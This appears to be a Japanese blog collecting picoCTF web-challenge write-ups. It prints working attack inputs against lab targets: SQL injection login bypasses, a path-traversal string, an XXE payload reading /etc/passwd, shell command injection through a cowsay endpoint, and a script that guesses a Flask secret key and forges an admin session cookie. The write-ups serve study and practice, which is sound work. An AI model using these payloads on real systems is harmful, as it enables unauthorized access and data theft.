過程が大事

学んだことを適当にアウトプットします

picoCTF Writeup (Web問)その7

Java Script Kiddie(400pts)

Description The image link appears broken... https://jupiter.challenges.picoctf.org/problem/58112 or http://jupiter.challenges.picoctf.org:58112

アクセスフォームが一つあり、適当に入力すると見れない画像が表示される
ソースを確認

<html>
    <head>    
       <script src="jquery-3.3.1.min.js"></script>
       <script>
           var bytes = [];
           $.get("bytes", function(resp) {
               bytes = Array.from(resp.split(" "), x => Number(x));
           });

           function assemble_png(u_in){
               var LEN = 16;
               var key = "0000000000000000";
               var shifter;
               if(u_in.length == LEN){
                   key = u_in;
               }
               var result = [];
               for(var i = 0; i < LEN; i++){
                   shifter = key.charCodeAt(i) - 48;
                   for(var j = 0; j < (bytes.length / LEN); j ++){
                       result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i]
                   }
               }
               while(result[result.length-1] == 0){
                   result = result.slice(0,result.length-1);
               }
               document.getElementById("Area").src = "data:image/png;base64," + btoa(String.fromCharCode.apply(null, new Uint8Array(result)));
               return false;
           }
       </script>
   </head>
    <body>

        <center>
            <form action="#" onsubmit="assemble_png(document.getElementById('user_in').value)">
                <input type="text" id="user_in">
                <input type="submit" value="Submit">
            </form>
            <img id="Area" src=""/>
        </center>

    </body>
</html>

assemble_png関数でフォームで入力したkeyが16文字ならそれを用いてbytes配列を操作してPNG画像を構築しているみたい
つまり、これは正しいkeyを入力することができればPNG画像になり、画面に出力されるプログラムになっている
bytes配列はdevtoolsのネットワークタブで確認できるためそれを使って正しいkeyの値を推測する

まず初めにkeyの値の範囲を考える
プログラム中でkeyの各文字は、key.charCodeAt(i) - 48として処理されており、この- 48はASCIIコードで数字'0'から'9'が48から57までの値にマッピングされているため、keyは数値列であることがわかる
pngファイルには、先頭に8バイトのマジックバイト(89 50 4E 47 0D 0A 1A 0A)がある
そのため、これを利用してkeyを推測できる

単純に全探索でkeyを推測しようとすると0~9の16文字で1016になるため動的計画法を用いる
以下のプログラムを実行して得られた値をフォームに入力するとQRコードが出現し、読み込むとflagが得られる

def find_matching_keys(bytes_array, png_magic_bytes):
    // 動的計画法用の配列を初期化
    dp = [[] for _ in range(len(png_magic_bytes) + 1)]
    dp[0].append("")

    // 各PNGマジックバイトについて調査
    for i, magic_byte in enumerate(png_magic_bytes):
        // キーの候補は0から9までの整数
        for key in range(10):

            if magic_byte == bytes_array[key * len(png_magic_bytes) + i]:
                for d in dp[i]:
                    // 新たなkeyの組み合わせを生成
                    dp[i + 1].append(d + str(key))

    return dp

if __name__ == '__main__':
    // devtoolsから得られるbytesを配列に変換
    bytes_array = list(map(int, input().split()))

    // PNGのマジックバイト列
    png_magic_bytes = [
        0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a,
        0x00, 0x00, 0x00, 0x0d, 0x49, 0x48, 0x44, 0x52,
    ]

    // key候補を探す
    dp = find_matching_keys(bytes_array, png_magic_bytes)

    // 結果を出力
    for d_list in dp:
      for d in d_list:
        if len(d) == len(png_magic_bytes):
          print(d)

if magic_byte == bytes_array[key * len(png_magic_bytes) + i]: の解説

Javascriptの下記の部分に対応

result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i]

JavaScript側の処理
JavaScriptのプログラムでは、assemble_png関数が、入力されたkeyに基づいてbytesを変換している

LENは配列の長さ(このケースでは16) key.charCodeAt(i) - 48でキーの各文字(数字)をASCIIコードから数値に変換
shifterはこの数値で、これがbytes配列をどれだけシフトするかを決定する
それぞれのkeyの文字(0〜9)に対して、bytes配列がどのように変更されるかを計算して、最終的なresult配列を構築

Python側の処理
Pythonプログラムでは、逆の操作を行う
すなわち、与えられたbytes_arrayからオリジナルのPNGマジックバイトを復元する適切なkeyを見つけようとする

このif magic_byte == bytes_array[key * len(png_magic_bytes) + i]:行は、PNGマジックバイトの各バイトが、特定のkeyでシフトした後のbytes_array内の対応する位置にあるかどうかを確認している

keyは0から9までの値で、これがbytes_arrayの各セグメント(長さ16)をどれだけシフトするかを表す
bytes_array[key * len(png_magic_bytes) + i]:は、keyで指定されたシフト量に基づいて、bytes_array内の特定のバイトを参照する
この確認がTrueであれば、そのkeyiの組み合わせがPNGヘッダを復元する際に有用である可能性が高いと考えられる

picoCTF Writeup (Web問)その6

Irish-Name-Repo 1(300pts)

Description There is a website running at https://jupiter.challenges.picoctf.org/problem/33850/ (link) or http://jupiter.challenges.picoctf.org:33850. Do you think you can log us in? Try to see if you can login!

Admin Loginのページに遷移すると、ログインフォームがあり、usernameとpasswordを入力できる
とりあえず、usernameに「' or 1 == 1 --」を入力し、SQLインジェクションを試してみるとログインに成功してflagが得られた

Irish-Name-Repo 2(350pts)

Description There is a website running at https://jupiter.challenges.picoctf.org/problem/64649/ (link). Someone has bypassed the login before, and now it's being strengthened. Try to see if you can still login! or http://jupiter.challenges.picoctf.org:64649

先ほどの問題と同様にusernameにSQLインジェクションをすると、SQLi detected.と言われた
Admin Loginのページにあるため、usernameはadminと推測し、「admin'--」と入力するとログインに成功してflagが得られた

Irish-Name-Repo 3(400pts)

Description There is a secure website running at https://jupiter.challenges.picoctf.org/problem/54253/ (link) or http://jupiter.challenges.picoctf.org:54253. Try to see if you can login as admin!

今度は、ログインフォームがpasswordのみ
SQLインジェクションを試すが、失敗
htmlページのソースをみると以下を見つけたのでdevtoolsでvalueを1にしてログインをしてみる

<input type="hidden" name="debug" value="0">

testと入力すると以下が出たため、ROT13されているとわかるため、「'1 or 1 == 1--」をROT13した「' be 1 == 1 --」を試すと成功してflagが得られた。

picoCTF Writeup (Web問)その5

Some Assembly Required 3(160pts)

フォームが一つある
wasmをみると、strcmp と check_flag 関数がflagをチェックしてるみたい

devtoolsのネットワークタブからバイナリファイルであるqCCYI0ajpDをダウンロード
以下よりwasmファイルとわかる

file qCCYI0ajpD 
qCCYI0ajpD: WebAssembly (wasm) binary module version 0x1 (MVP)

wasmファイルをc言語に変換するwasm2cを実行し、変換したファイルを見ると以下の気になる部分を見つけた。

static const u8 data_segment_data_w2c_qCCYI0ajpD_d0[] = {
  0x9d, 0x6e, 0x93, 0xc8, 0xb2, 0xb9, 0x41, 0x8b, 0xc5, 0xc6, 0xdd, 0x61, 
  0x93, 0xc3, 0xc2, 0xda, 0x3f, 0xc7, 0x93, 0xc1, 0x8b, 0x31, 0x95, 0x93, 
  0x93, 0x8e, 0x62, 0xc8, 0x94, 0xc9, 0xd5, 0x64, 0xc0, 0x96, 0xc4, 0xd9, 
  0x37, 0x93, 0x93, 0xc2, 0x90, 0x00, 0x00, 
};

static const u8 data_segment_data_w2c_qCCYI0ajpD_d1[] = {
  0xf1, 0xa7, 0xf0, 0x07, 0xed, 
};

XOR暗号化されていると仮定し、d1[]をXORして先頭がp(0x70)となるhexを見つける

data_0 = [0x9d, 0x6e, 0x93, 0xc8, 0xb2, 0xb9, 0x41, 0x8b, 0xc5, 0xc6, 0xdd, 0x61,
          0x93, 0xc3, 0xc2, 0xda, 0x3f, 0xc7, 0x93, 0xc1, 0x8b, 0x31, 0x95, 0x93,
          0x93, 0x8e, 0x62, 0xc8, 0x94, 0xc9, 0xd5, 0x64, 0xc0, 0x96, 0xc4, 0xd9,
          0x37, 0x93, 0x93, 0xc2, 0x90]
target_ascii = 0x70

for i in range(256):  # 0x00から0xFFまで
    if data_0[0] ^ i == target_ascii:
        print(f"Found key: 0x{i:02x}")

以下の結果より、0xedなのでd1[]をkeyにし末尾の要素から順にXOR暗号化していると仮定する

$python search.py 
Found key: 0xed

以下のpythonコードでd0に対し、d1の順序を逆にしたものをkeyにしてXOR復号してみる

data_0 = [0x9d, 0x6e, 0x93, 0xc8, 0xb2, 0xb9, 0x41, 0x8b, 0xc5, 0xc6, 0xdd, 0x61,
          0x93, 0xc3, 0xc2, 0xda, 0x3f, 0xc7, 0x93, 0xc1, 0x8b, 0x31, 0x95, 0x93,
          0x93, 0x8e, 0x62, 0xc8, 0x94, 0xc9, 0xd5, 0x64, 0xc0, 0x96, 0xc4, 0xd9,
          0x37, 0x93, 0x93, 0xc2, 0x90]
key = [0xed, 0x07, 0xf0, 0xa7, 0xf1]


decoded_data = [d ^ key[i % len(key)] for i, d in enumerate(data_0)]

decoded_str = ''.join(chr(d) for d in decoded_data)
print(f"Decoded flag: {decoded_str}")

実行するとflagが入手できた

Decoded flag: picoCTF{b70fcd378740f6e4bce8388c01540c43}

CyberChefを使用した復号

参考:picoCTF Writeup picoGym Practice Challenges Some Assembly Required 3 (注意<spoiler>) #CTF - Qiita

picobrowser (200pts)

フォームが一つあり、Flagボタンを押すとYou're not picobrowser!と出た

UserAgentをpicobrowserに変更してボタンを押すとflagが入手できた

Client-side-again (200pts)

アクセスすると入力フォームがある
devtoolsで見ると、javascriptでflagチェックを行なっていそうな箇所を見つけた
そのままでは見にくいので整形する

var _0x5a46 = ['37115}', '_again_3', 'this', 'Password Verified', 'Incorrect password', 'getElementById', 'value', 'substring', 'picoCTF{', 'not_this'];
(function (_0x4bd822, _0x2bd6f7) {
  var _0xb4bdb3 = function (_0x1d68f6) {
    while (--_0x1d68f6) {
      _0x4bd822['push'](_0x4bd822['shift']());
    }
  };
  _0xb4bdb3(++_0x2bd6f7);
}(_0x5a46, 0x1b3));
var _0x4b5b = function (_0x2d8f05, _0x4b81bb) {
  _0x2d8f05 = _0x2d8f05 - 0x0;
  var _0x4d74cb = _0x5a46[_0x2d8f05];
  return _0x4d74cb;
};

function verify() {
  checkpass = document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];
  split = 0x4;
  if (checkpass[_0x4b5b('0x2')](0x0, split * 0x2) == _0x4b5b('0x3')) {
    if (checkpass[_0x4b5b('0x2')](0x7, 0x9) == '{n') {
      if (checkpass[_0x4b5b('0x2')](split * 0x2, split * 0x2 * 0x2) == _0x4b5b('0x4')) {
        if (checkpass[_0x4b5b('0x2')](0x3, 0x6) == 'oCT') {
          if (checkpass[_0x4b5b('0x2')](split * 0x3 * 0x2, split * 0x4 * 0x2) == _0x4b5b('0x5')) {
            if (checkpass['substring'](0x6, 0xb) == 'F{not') {
              if (checkpass[_0x4b5b('0x2')](split * 0x2 * 0x2, split * 0x3 * 0x2) == _0x4b5b('0x6')) {
                if (checkpass[_0x4b5b('0x2')](0xc, 0x10) == _0x4b5b('0x7')) {
                  alert(_0x4b5b('0x8'));
                }
              }
            }
          }
        }
      }
    }
  } else {
    alert(_0x4b5b('0x9'));
  }
}

oCTとかflagっぽいものは見えるがよくわからない...
このコードはverifyという関数でflagと一致するかを調べているみたい
難読化されているため、一つ一つ確認してみる
配列 _0x5a46 の内容

  • _0x5a46[0] = '37115}'
  • 0x5a46[1] = 'again_3'
  • _0x5a46[2] = 'this'
  • _0x5a46[3] = 'Password Verified'
  • _0x5a46[4] = 'Incorrect password'
  • _0x5a46[5] = 'getElementById'
  • _0x5a46[6] = 'value'
  • _0x5a46[7] = 'substring'
  • _0x5a46[8] = 'picoCTF{'
  • _0x5a46[9] = 'not_this'

ここで、Password Verifiedや'Incorrect password'はフォーム入力した際に出るものだからflagに含まれなさそう
alert(_0x4b5b('0x8'));alert(_0x4b5b('0x9'));より、0x4b5b('0x8')は'Password Verified'、0x4b5b('0x9')は'Incorrect password'だとわかる
また、'getElementById'はHTML要素のidを取得するものであり、プログラム中に'getElementById'は配列内にしかないため、配列の要素として取り出して使っていることがわかり、これもflagに含まれない
そして'getElementById'を使用するなら'value'も使用されていると考えられるからそれもflagに含まれない
上記の点を踏まえるとflagになりそうな文字列は'37115}'、_again_3'、'this'、'substring'、'picoCTF{'、'not_this'であり、これらの組み合わせではないかと現時点で推測できる

関数_0x4b5bの動作

// 初期化
var _0x5a46 = ['37115}', '_again_3', 'this', 'Password Verified', 'Incorrect password', 'getElementById', 'value', 'substring', 'picoCTF{', 'not_this'];

// この即時関数は配列を操作する
(function (_0x4bd822, _0x2bd6f7) {

  // この内部関数は配列をシフトしてプッシュする操作を行う
  var _0xb4bdb3 = function (_0x1d68f6) {

    while (--_0x1d68f6) {
      
      _0x4bd822['push'](_0x4bd822['shift']());  // 配列の最初の要素を取り出して最後に追加
    }
  };

  _0xb4bdb3(++_0x2bd6f7);  // 435回、配列の操作を行う


}(_0x5a46, 0x1b3)); // _0x2bd6f7は0x1b3(10進数で435)


// 難読化された文字列を解読する関数
var _0x4b5b = function (_0x2d8f05, _0x4b81bb) {
  // _0x2d8f05を数値に変換(この場合、16進数から10進数に)
  _0x2d8f05 = _0x2d8f05 - 0x0;
  
  // `_0x5a46配列から_0x2d8f05インデックスの要素を取得して、_0x4d74cbに格納
  var _0x4d74cb = _0x5a46[_0x2d8f05];

  // _0x4d74cbの値を返す
  return _0x4d74cb;
};

どういう動作をするのかイマイチよくわからないので実際に実行してみる
以下のコードをコンソールに貼り付けて実行

// 初期の配列
var _0x5a46 = ['37115}', '_again_3', 'this', 'Password Verified', 'Incorrect password', 'getElementById', 'value', 'substring', 'picoCTF{', 'not_this'];

// 配列の操作関数
(function (_0x4bd822, _0x2bd6f7) {
  var _0xb4bdb3 = function (_0x1d68f6) {
    while (--_0x1d68f6) {
      _0x4bd822['push'](_0x4bd822['shift']());
    }
  };
  _0xb4bdb3(++_0x2bd6f7);
}(_0x5a46, 0x1b3));

// 配列の状態を出力
console.log(_0x5a46);

出力は以下のようになった

(10) ['getElementById', 'value', 'substring', 'picoCTF{', 'not_this', '37115}', '_again_3', 'this', 'Password Verified', 'Incorrect password']
0: "getElementById"
1: "value"
2: "substring"
3: "picoCTF{"
4: "not_this"
5: "37115}"
6: "_again_3"
7: "this"
8: "Password Verified"
9: "Incorrect password"

次にverify関数を解析する

function verify() {
  // 入力されたパスワードを取得
  // document[_0x4b5b('0x0')]('pass') は document.getElementById('pass') にマッピングされている
  // [_0x4b5b('0x1')] は ['value'] にマッピングされている
  checkpass = document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];
  split = 0x4;  // splitは4として設定
  
  // 条件に一致するかどうかでアラートを出す
  //  _0x4b5b('0x2')はsubstring
  // 0番目から7番目までの文字列を切り出し、それが"picoCTF{" (_0x4b5b('0x3') )なら次へ
  if (checkpass[_0x4b5b('0x2')](0x0, split * 0x2) == _0x4b5b('0x3')) {

    // 7番目から8番目までを取り出し"{n"
    if (checkpass[_0x4b5b('0x2')](0x7, 0x9) == '{n') {
      //  8番目から15番目までを取り出し、 "not_this"
      if (checkpass[_0x4b5b('0x2')](split * 0x2, split * 0x2 * 0x2) == _0x4b5b('0x4')) {
        // 3番目から5番目までを取り出し、"oCT"
        if (checkpass[_0x4b5b('0x2')](0x3, 0x6) == 'oCT') {
          // 24番目から31番目までを取り出し、"37115}"
          if (checkpass[_0x4b5b('0x2')](split * 0x3 * 0x2, split * 0x4 * 0x2) == _0x4b5b('0x5')) {
            // 省略
            if (checkpass['substring'](0x6, 0xb) == 'F{not') {
              if (checkpass[_0x4b5b('0x2')](split * 0x2 * 0x2, split * 0x3 * 0x2) == _0x4b5b('0x6')) {
                if (checkpass[_0x4b5b('0x2')](0xc, 0x10) == _0x4b5b('0x7')) {
                  alert(_0x4b5b('0x8'));
                }
              }
            }
          }
        }
      }
    }
  } else {
    alert(_0x4b5b('0x9'));
  }
}

Forbidden Paths(200pts)

Can you get the flag? Here's the website. We know that the website files live in /usr/share/nginx/html/ and the flag is at /flag.txt but the website is filtering absolute file paths. Can you get past the filter to read the flag?

サイトにアクセスすると、入力フォームといくつかのテキストファイル名が書かれている

テキストファイル名を入力すると、そのテキストファイルの中身が参照された
divine-comedy.txtと入力した場合

このことから、書かれているテキストファイルはカレントディレクトリのものと考え、問題文から/usr/share/nginx/html/でflag.txtという名前で格納されていることがわかるので、現在の位置を/html/と仮定し、../../../../flag.txtと入力してみるとflag.txtの中身が参照され、flagが入手できた

Power Cookie(200pts)

Description Can you get the flag? Go to this website and see what you can discover.

ボタンが一つあり、押すとguestサービスはないと言われた
cookieの名前がadminで値が0だったので1に変更するとflagが入手できた

Roboto Sans(200pts)

Description The flag is somewhere on this web application not necessarily on the website. Find it. Check this out.

問題文より、webアプリケーションのどこかにflagがあると書いてあるためrobots.txtを見ると以下が出た

User-agent *
Disallow: /cgi-bin/
Think you have seen your flag or want to keep looking.

ZmxhZzEudHh0;anMvbXlmaW
anMvbXlmaWxlLnR4dA==
svssshjweuiwl;oiho.bsvdaslejg
Disallow: /wp-admin/

以下の3つの文字列はbase64であるため復号してみる

  • ZmxhZzEudHh0
  • anMvbXlmaW
  • anMvbXlmaWxlLnR4dA==

base64の特徴
文字セット: Base64エンコーディングは大文字A-Z、小文字a-z、数字0-9、および+、/の64の文字セットを使用。また、=はパディングとして使用される
パディング: Base64エンコードされたデータは、=記号で終わることがよくあり、元のデータの長さが3の倍数でない場合に追加される

復号すると、以下のようになる

  • flag1.txt
  • js/myfi
  • js/myfile.txt

これらのURLにアクセスしてみるとjs/myfile.txtでflagが入手できた。

Secrets(200pts)

Description We have several pages hidden. Can you find the one with the flag? The website is running here.

アクセスしてボタンクリックによるページ遷移をdevtoolsを見ながら試したがflagのヒントは得られなかった
ソースを確認すると画像やcssファイルはsecretディレクトリの中にあったので、http://saturn.picoctf.net:65455/secret/にアクセスしてみると、遷移に成功し「Finally. You almost found me. you are doing well」と表示された
先ほどと同様にソースを確認すると/secret/hiddenディレクトリがあるため、アクセスしてみるとログインフォームが表示された

フォームに対してSQLインジェクションを仕掛けたが成功しなかった
(これを突破できれば良いと考えて時間をたくさん使っちゃった...)
全くわからずお手上げ状態だったが、またディレクトリの遷移をすれば良いのではと考え、ソースを確認するとsuperhiddenがあり、アクセスしてみると「 Finally. You found me. But can you see me」と表示され、devtoolsで見るとflagを入手できた。

picoCTF Writeup (Web問)その4

Some Assembly Required 2(110pts)

Description

http://mercury.picoctf.net:48841/index.html

入力フォームがあり、JSを見るとバイナリフォーマットのため、wasmをみるとそれっぽいのがある

CyberChefのmagicで確認するとflagっぽいのが見つかった

Super Serial(130pts)

Description

Try to recover the flag stored on this website http://mercury.picoctf.net:14804/ ヒント:The flag is at ../flag

いらなさそうな部分を消してpicoCTFの形にするとflagになる

ログインフォームがあり、SQLインジェクション試したけどできなかった
robots.txtを見ると以下の表示になり/admin.phpsや/admin.phpにアクセスするが、何も表示されなかった

User-agent: *
Disallow: /admin.phps

index.phpsを見るとcookie.phpauthentication.phpというファイルがあり、ログインに成功した時、名前がloginで値がurlencode(base64_encode(serialize($perm_res)))のcookieが割り当てられることがわかる。

authentication.phpを見ると「Welcome guest」と表示されたため、一応ログインには成功したと判断する。

flagを入手するためにはCookieを変更する必要があると考え、cookie.phpsにアクセスすると、以下の表示が出た。

ヒントより、flagの場所は../flagだとわかっているため、以下のphpを実行し、cookieの値を生成する。

生成した値を名前loginでcookieに追加し、authentication.phpにアクセスするとflagを入手できる。

MatchTheRegex(100pts)

Description

How about trying to match a regular expression The website is running here.

入力フォームがあり、タイトルから正規表現関係だと予想できる。

ページのhtmlソースを見ると、正規表現をしてそうなコメントがあった。

^p.....FになるようにpicoCTFと入力するとflagが得られた

findme(100pts)

Description

Help us test the form by submiting the username as test and password as test! The website running here

入力フォームがあり、username:test、password:testと入力したら以下の表示が出た。

指示通りpasswordをtest!で送信すると以下のページに遷移した。フォームに入力をしてflagを見つけるっぽい?

色々入力しても何も出てこないのでフォーム入力は恐らく意味がないとわかった。
送信からのページ遷移が少し遅かったのでburp suiteで確認すると/next-page/id=cGljb0NURntwcm94aWVzX2Fsnext-page/id=bF90aGVfd2F5X2EwZmUwNzRmfQ==を経由していることがわかった。

page/idはbase64エンコードされており、もしやと思い、くっつけてデコードするとflagが入手できた。

SOAP(100pts)

Description

The web project was rushed and no security assessment was done. Can you read the /etc/passwd file? Web Portal Tags: XXE

Detailsという3つのボタンがある

それぞれのDetailsをクリックすると、下部に以下の文章が表示された
- Special Info:::: University in Kigali, Rwanda offereing MSECE, MSIT and MS EAI
- Special Info:::: Created By security and privacy experts
- Special Info:::: Researches on Digital Public goods e.g MOSIP

問題のTagより、XXE攻撃であると考えられるため、XMLを使用しているかdevtoolsでソースを確認する。

確認したところ、ユーザーが"Details"ボタンをクリックしたときにイベントリスナーが発火し、checkDetails関数が実行され、Content-Typeがxmlに設定され、リクエストボディはpayload関数によって生成されたXMLデータとなることがわかった。

detailをクリックすればxmlリクエストが送られるため、burp suiteでdetailクリック時のリクエストの値を以下のように変更し、し送信してXXE攻撃を行うとレスポンスでflagが得られた。

POST /data HTTP/1.1
Host: saturn.picoctf.net:51760
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: ja,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: http://saturn.picoctf.net:51760/
Content-Type: application/xml
Content-Length: 125
Origin: http://saturn.picoctf.net:51760
Connection: close


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [<!ENTITY h SYSTEM "file:///etc/passwd">]>
<data><ID>3&h;</ID></data>
(手法の解説)

1.DOCTYPE 宣言: リクエストの最初の部分でXMLのDOCTYPEが宣言されている。これはXML文書の構造を定義する部分

    <!DOCTYPE data [<!ENTITY h SYSTEM "file:///etc/passwd">]>

ここでENTITY h SYSTEM "file:///etc/passwd"と定義しているのは、新たなエンティティhを作成し、そのエンティティが/etc/passwdファイルの内容を保持するように設定

2.エンティティの利用: dataタグ内のIDタグでエンティティ&h;を使用
xml <data><ID>3&h;</ID></data> XMLパーサがこのリクエストを処理する際、&h;/etc/passwdの内容に展開される。これによって/etc/passwdの内容がWebアプリケーションから読み取られ、レスポンスに含まれる形となる。

3.結果: サーバーがこのXMLを処理した結果、/etc/passwdファイルの内容がレスポンスに含まれ、flagを入手できる

Description

The developer of this website mistakenly left an important artifact in the website source, can you find it? The website is here

ホームページになっており、このページ以外に遷移はできない

devtoolsで探してみたが重要そうな情報は見つからなかった
シェルで探してみるとflagが出た

$wget --recursive --no-parent http://saturn.picoctf.net:59405/index.html
$grep -r "picoCTF" *   
saturn.picoctf.net:59405/css/style.css:/** banner_main **picoCTF**{1nsp3ti0n_0f_w3bpag3s_8de925a7} **/

Most Cookies(150pts)

Description

Alright, enough of using my own encryption. Flask session cookies should be plenty secure! server.py http://mercury.picoctf.net:35697/

アクセスすると入力フォームが1つあり、薄くsnickerdoodleとある

snickerdoodleと入力して送信すると、以下の表示が出る。このことから、cookieの値を割り出さないとflagが得られないと考えた

与えられたserver.pyを見ると、配列cookie_namesからランダムに秘密鍵が選ばれ、session["very_auth"]"admin"の時、flagを表示せるようになっている。

以下のpythonプログラムを組み、cookieの値を得る

from flask.sessions import SecureCookieSessionInterface

from itsdangerous import URLSafeTimedSerializer

  

# 利用可能なクッキーの名前のリスト

cookie_names = ["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]

  

# snickerdoodleを入力した時のcookieの値
given_cookie = "eyJ2ZXJ5X2F1dGgiOiJzbmlja2VyZG9vZGxlIn0.ZSeFiA.RFTt5mz2x5deLHXSpo-2v-zxuIA"

  

# カスタムしたセッションインターフェース
class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):

    # 与えられた秘密鍵でシリアライザを取得
    def get_signing_serializer(self, secret_key):

        signer_kwargs = dict(key_derivation=self.key_derivation, digest_method=self.digest_method)

        return URLSafeTimedSerializer(secret_key, salt=self.salt, serializer=self.serializer, signer_kwargs=signer_kwargs)

  

# クッキーをデコードする関数
def decode_cookie(secret_key, cookie):

    sscsi = SimpleSecureCookieSessionInterface()

    signing_serializer = sscsi.get_signing_serializer(secret_key)

    return signing_serializer.loads(cookie)

  

# クッキーをエンコードする関数
def encode_cookie(secret_key, session_data):

    sscsi = SimpleSecureCookieSessionInterface()

    signing_serializer = sscsi.get_signing_serializer(secret_key)

    return signing_serializer.dumps(session_data)

  

# 各秘密鍵を試してクッキーをデコード

for secret in cookie_names:

    try:
        # クッキーをデコード
        decoded_data = decode_cookie(secret, given_cookie)

        # デコードに成功した場合、'very_auth' を 'admin' に変更してエンコード
        decoded_data["very_auth"] = "admin"
        forged_cookie = encode_cookie(secret, decoded_data)
        print(f"使用した秘密鍵: {secret}")
        print(f"改ざんされたクッキー: {forged_cookie}")
        break

    except:

        continue

(プログラムの流れ)
1. cookie_namesの各要素(これが秘密鍵の候補)を一つずつ試す
2. その秘密鍵で既知のCookiegiven_cookie)をデコードしようする
3. デコードに成功したら、セッションデータ内の"very_auth"の値を"admin"に変更。
4. その後、改ざんされたセッションデータを再度エンコードして新しいCookieを生成。

出力されたCookieはアプリケーションで"admin"として認識される。

プログラムを実行すると以下のような出力がされ、これをcookieの値に変更してリロードするとflagが得られる

caas(150pts)

Description

Now presenting cowsay as a service File index.js

以下のURLに任意のmessageを付けてアクセスできるみたい

https://caas.mars.picoctf.net/cowsay/hello の結果

index.jsを見ると、exec関数が直接ユーザーからの入力(req.params.message)を受け取っているため、任意コードが実行できそう

const express = require('express');

const app = express();

const { exec } = require('child_process');

app.use(express.static('public'));

app.get('/cowsay/:message', (req, res) => {
  exec(`/usr/games/cowsay ${req.params.message}`, {timeout: 5000}, (error, stdout) => {
    if (error) return res.status(500).end();
    res.type('txt').send(stdout).end();
  });
});

app.listen(3000, () => {
  console.log('listening');
});

https://caas.mars.picoctf.net/cowsay/hello;%20ls と入力すると、lsが実行でき、falg.txtというflagが入ってそうなファイルを見つけた
ここで、「;」はシェルを1行で書くためのもので「%20」はスペース

https://caas.mars.picoctf.net/cowsay/hello;%20cat%20falg.txt でflagが入手できた

picoCTF Writeup (Web問)その3

dont-use-client-side(100pts)

Description

Can you break into this super secure portal? https://jupiter.challenges.picoctf.org/problem/29835/ (link) or http://jupiter.challenges.picoctf.org:29835

入力フォームが1つのみ
とりあえずdevtoolsをみるとJSで発見

string.substring(indexStart, indexEnd)のため、並び替えてflagを入手

It is my Birthday(100pts)

Description

I sent out 2 invitations to all of my friends for my birthday! I'll know if they get stolen because the two invites look similar, and they even have the same md5 hash, but they are slightly different! You wouldn't believe how long it took me to find a collision. Anyway, see if you're invited by submitting 2 PDFs to my website. http://mercury.picoctf.net:20277/

pdfファイルを2つ入れるようになっている

問題文より同じmd5ハッシュを持つ異なる2つのpdfファイルが必要みたい
ハッシュ値は128ビット(2128通り)で有限であるから同じmd5ハッシュを持つファイルは作れるが、流石に自分で用意するのは無理なので検索
md5で衝突するやつのデモを見つけた
https://www.mscs.dal.ca/~selinger/md5collision/

ファイルを入手してpdfに変換してUploadするとflagが得られた

Who are you?(100pts)

Description

Let me in. Let me iiiiiiinnnnnnnnnnnnnnnnnnnn http://mercury.picoctf.net:52362/

PicoBrowserの公式ユーザじゃないとこのサイトは使えないみたい
何かめっちゃ煽られてる

UserAgentを変えると、今度は他のサイトから閲覧したユーザは信用できないと言われた

Refererヘッダーの設定をすればいけそう
Refererヘッダーは、UserAgentがリクエストを生成するのに使用したページのアドレスを含む HTTP ヘッダーのこと
curlRefererヘッダーの設定をしてリクエストをする

curl -A "PicoBrowser" -e "http://mercury.picoctf.net:52362/" http://mercury.picoctf.net:52362/   

レスポンスをみると、サイトは2018年のみ機能すると言われた

Dateヘッダーを設定して日付を2018年に指定

curl -A "PicoBrowser" -e "http://mercury.picoctf.net:52362/" -H "Date: Tue, 01 May 2018 00:00:00 GMT" http://mercury.picoctf.net:52362/

ラッキング可能なユーザは信用できないと言われた

DNT (Do Not Track) ヘッダーを追加してトラッキングを拒否

curl -A "PicoBrowser" -e "http://mercury.picoctf.net:52362/" -H "Date: Tue, 01 May 2018 00:00:00 GMT" -H "DNT: 1" http://mercury.picoctf.net:52362/

今度はスウェーデンの人のみが見れるとでた

ipアドレススウェーデンに設定

curl -A "PicoBrowser" -e "http://mercury.picoctf.net:52362/" -H "Date: Tue, 01 May 2018 00:00:00 GMT" -H "DNT: 1" -H "X-Forwarded-For: 2.65.255.255" http://mercury.picoctf.net:52362/

スウェーデン語を話せと言われた

スウェーデン語に設定

curl -A "PicoBrowser" -e "http://mercury.picoctf.net:52362/" -H "Date: Tue, 01 May 2018 00:00:00 GMT" -H "DNT: 1" -H "X-Forwarded-For: 2.65.255.255" -H "Accept-Language: sv" http://mercury.picoctf.net:52362/

フラグを入手できた

login(100pts)

Description

My dog-sitter's brother made this website but I can't get in; can you help? login.mars.picoctf.net

ログインフォームがあり、devtoolsでJSを見ると、気になるのを見つけた

(async() => {
  await new Promise((e => window.addEventListener("load", e))), document.querySelector("form").addEventListener("submit", (e => {
    e.preventDefault();
    const r = {
        u: "input[name=username]",
        p: "input[name=password]"
      },
      t = {};
    for (const e in r) t[e] = btoa(document.querySelector(r[e]).value).replace(/=/g, "");
    return "YWRtaW4" !== t.u ? alert("Incorrect Username") : "cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ" !== t.p ? alert("Incorrect Password") : void alert(`Correct Password! Your flag is ${atob(t.p)}.`)
  }))
})();

JSコードからbtoa関数を使用してBase64エンコードしていることがわかる。そのため、YWRtaW4の末尾に=をつけてデコードしてみるとadminだとわかる

同様にcGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQをデコードすると、flagが入手できた

Includes(100pts)

Description

Can you get the flag? Go to this website and see what you can discover.

includeの話が書いてある
Say helloボタンを押すとこれが出る

JSを見るとなんかあった
flagっぽい

CSSも見るとあった

上記の2つを組み合わせたらflagになった。
HTMLでは、JavaScriptCSSをincludeしているから調べろってことだったのかな?

